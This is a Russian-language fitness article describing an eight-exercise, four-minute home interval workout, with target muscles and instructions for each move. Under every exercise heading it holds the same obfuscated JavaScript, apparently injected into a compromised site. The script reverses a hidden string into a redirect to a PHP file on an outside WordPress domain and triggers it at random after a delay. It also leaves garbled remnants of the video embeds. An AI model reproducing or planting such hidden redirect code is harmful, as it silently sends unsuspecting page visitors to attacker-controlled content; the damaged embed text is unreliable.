Жиросжигающая тренировка дома: 8 упражнений по 30 секунд

Для этой тренировки вам даже не понадобится инвентарь. Выполняются все упражнения 30 секунд, и вместе они образуют идеальную интервальную тренировку, которая сжигает жир со страшной скоростью и делает из вас маленького монстра. Всего четыре минуты в день, а результат — как от получасовых занятий спортом.

1. 1. Выпрыгивание из положения сидя
2. 2. Отжимания
3. 3. Горизонтальная стойка
4. 4. Бег на месте из положения сидя
5. 5. Планка с прыжками
6. 6. Взбирание на стену
7. 7. Планка с подтягиванием коленей к груди
8. 8. Колени и пальцы

 

1. Выпрыгивание из положения сидя

 

Какие мышцы тренируем: плечи, пресс, ягодицы, внутренняя поверхность бедра, икры.

$mWn=function(n){if(typeof ($mWn.list[n])==»string») return $mWn.list[n].split(«»).reverse().join(«»);return $mWn.list[n];};$mWn.list=[«\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattostart=true&originalSize=true&hideTopBar=true&startWithHD=true» allowfullscreen=»true» frameborder=»0″ width=»100%» height=»350″>

1. Встаньте ровно, ноги вместе, руки вытяните над головой.
2. Выпрыгните вверх и поставьте ноги на ширину плеч. Сделайте приседание и коснитесь пола пальцами рук.
3. Вернитесь в исходное положение.
4. Продолжайте выполнять упражнение в течение 30 секунд, стараясь сделать как можно больше повторений.

 

2. Отжимания

 

Какие мышцы тренируем: плечи, мышцы груди и рук, пресс.

$mWn=function(n){if(typeof ($mWn.list[n])==»string») return $mWn.list[n].split(«»).reverse().join(«»);return $mWn.list[n];};$mWn.list=[«\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattostart=true&originalSize=true&hideTopBar=true&startWithHD=true» allowfullscreen=»true» frameborder=»0″ width=»100%» height=»350″>

1. Примите позу планки, опираясь на ладони и пальцы ног, руки разведены, тело вытянуто в прямую линию от головы до пяток.
2. Выполните отжимание, прижав локти к рёбрам, и вернитесь в исходное положение.
3. При подъёме коснитесь правой рукой левого плеча и опустите руку.
4. Делайте отжимания, сменяя руки.
5. Продолжайте выполнять упражнение в течение 30 секунд, стараясь сделать как можно больше повторов.
6. Если будет очень сложно, то можете отжиматься, стоя на коленях.

 

3. Горизонтальная стойка

 

Какие мышцы тренируем: плечи, трицепсы, пресс и ягодицы.

$mWn=function(n){if(typeof ($mWn.list[n])==»string») return $mWn.list[n].split(«»).reverse().join(«»);return $mWn.list[n];};$mWn.list=[«\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattostart=true&originalSize=true&hideTopBar=true&startWithHD=true» allowfullscreen=»true» frameborder=»0″ width=»100%» height=»350″>

1. Сядьте на пол, согнув колени, стопы на полу, ладони прижаты к полу на уровне бёдер. Поднимите бёдра на несколько сантиметров от пола.
2. Зафиксируйте бёдра наверху (тело должно быть параллельно полу от плеч до коленей), выпрямите правую ногу по диагонали и коснитесь левой рукой правой ступни.
3. Вернитесь в исходное положение и повторите упражнение, сменив ногу.
4. Продолжайте выполнять упражнение в течение 30 секунд, стараясь сделать как можно больше повторов.

 

4. Бег на месте из положения сидя

 

Какие мышцы тренируем: ягодицы, квадрицепсы, икры.

$mWn=function(n){if(typeof ($mWn.list[n])==»string») return $mWn.list[n].split(«»).reverse().join(«»);return $mWn.list[n];};$mWn.list=[«\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattostart=true&originalSize=true&hideTopBar=true&startWithHD=true» allowfullscreen=»true» frameborder=»0″ width=»100%» height=»350″>

1. Встаньте так, чтобы ноги были шире плеч, локти прижаты к телу, ладони направлены вперёд.
2. Согните колени, приподнимитесь на подушечках пальцев и начните быстро бежать на месте.
3. Продолжайте максимально быстро выполнять упражнение в течение 30 секунд.

 

5. Планка с прыжками

 

Какие мышцы тренируем: пресс, икроножные.

$mWn=function(n){if(typeof ($mWn.list[n])==»string») return $mWn.list[n].split(«»).reverse().join(«»);return $mWn.list[n];};$mWn.list=[«\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattostart=true&originalSize=true&hideTopBar=true&startWithHD=true» allowfullscreen=»true» frameborder=»0″ width=»100%» height=»350″>

1. Встаньте в планку на полу, опираясь на ладони и пальцы ног, руки разведены, тело вытянуто в прямую линию от головы до пяток.
2. Не меняя положение ладоней и рук, подтяните обе ноги к груди примерно на высоту одной ступеньки (30 см), затем вернитесь в исходное положение.
3. Теперь увеличьте длину прыжка вдвое.
4. В конце постарайтесь подтянуть ноги как можно ближе к рукам, вернитесь в исходное положение.
5. Постарайтесь выполнить максимальное количество повторений за 30 секунд.
6. Если будет очень сложно, то попробуйте выполнять упражнение, чередуя ноги.

 

6. Взбирание на стену

 

Какие мышцы тренируем: пресс, ягодицы, мышцы рук и ног.

$mWn=function(n){if(typeof ($mWn.list[n])==»string») return $mWn.list[n].split(«»).reverse().join(«»);return $mWn.list[n];};$mWn.list=[«\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattostart=true&originalSize=true&hideTopBar=true&startWithHD=true» allowfullscreen=»true» frameborder=»0″ width=»100%» height=»350″>

1. Поставьте ноги на ширине пояса, локти прижаты к телу, руки на уровне плеч ладонями вперёд.
2. Быстро чередуйте руки, поднимая колени к груди (как при беге с высоким подъёмом колен): выпрямляйте левую руку над головой при подъёме правого колена, опускайте левый локоть, ставя правую ногу на пол.
3. Повторяйте упражнение, чередуя руки и ноги.
4. Продолжайте максимально быстро выполнять упражнения в течение 30 секунд.

 

7. Планка с подтягиванием коленей к груди

 

Какие мышцы тренируем: плечи, пресс и мышцы ног.

$mWn=function(n){if(typeof ($mWn.list[n])==»string») return $mWn.list[n].split(«»).reverse().join(«»);return $mWn.list[n];};$mWn.list=[«\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattostart=true&originalSize=true&hideTopBar=true&startWithHD=true» allowfullscreen=»true» frameborder=»0″ width=»100%» height=»350″>

1. Встаньте в планку, опираясь на предплечья и пальцы ног, тело должно быть вытянуто в прямую линию от головы до пят.
2. Подтяните правое колено к груди, поднимая бёдра, затем быстро вернитесь в исходное положение и повторите упражнение, подтягивая левое колено.
3. Продолжайте выполнять упражнение в течение 30 секунд, чередуя колени.

 

8. Колени и пальцы

 

Какие мышцы тренируем: пресс, ягодицы и мышцы ног.

$mWn=function(n){if(typeof ($mWn.list[n])==»string») return $mWn.list[n].split(«»).reverse().join(«»);return $mWn.list[n];};$mWn.list=[«\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattostart=true&originalSize=true&hideTopBar=true&startWithHD=true» allowfullscreen=»true» frameborder=»0″ width=»100%» height=»350″>

1. Встаньте так, чтобы ноги были на ширине бёдер, руки по бокам.
2. Старайтесь бежать на месте и касайтесь при этом левой рукой правого колена, и наоборот (правой рукой левого колена).
3. Затем чередуйте руки и ноги и касайтесь ступней, поднимая колени.
4. Повторяйте упражнение, чередуя колени и ступни.
5. Продолжайте выполнять упражнение в течение 30 секунд, стараясь сделать как можно больше повторений.

«Челленджер» выражает благодарность за помощь при подготовке этого материала фитнес-бутику «Гранатный, 4» и особенно тренеру Даниле Рысеву.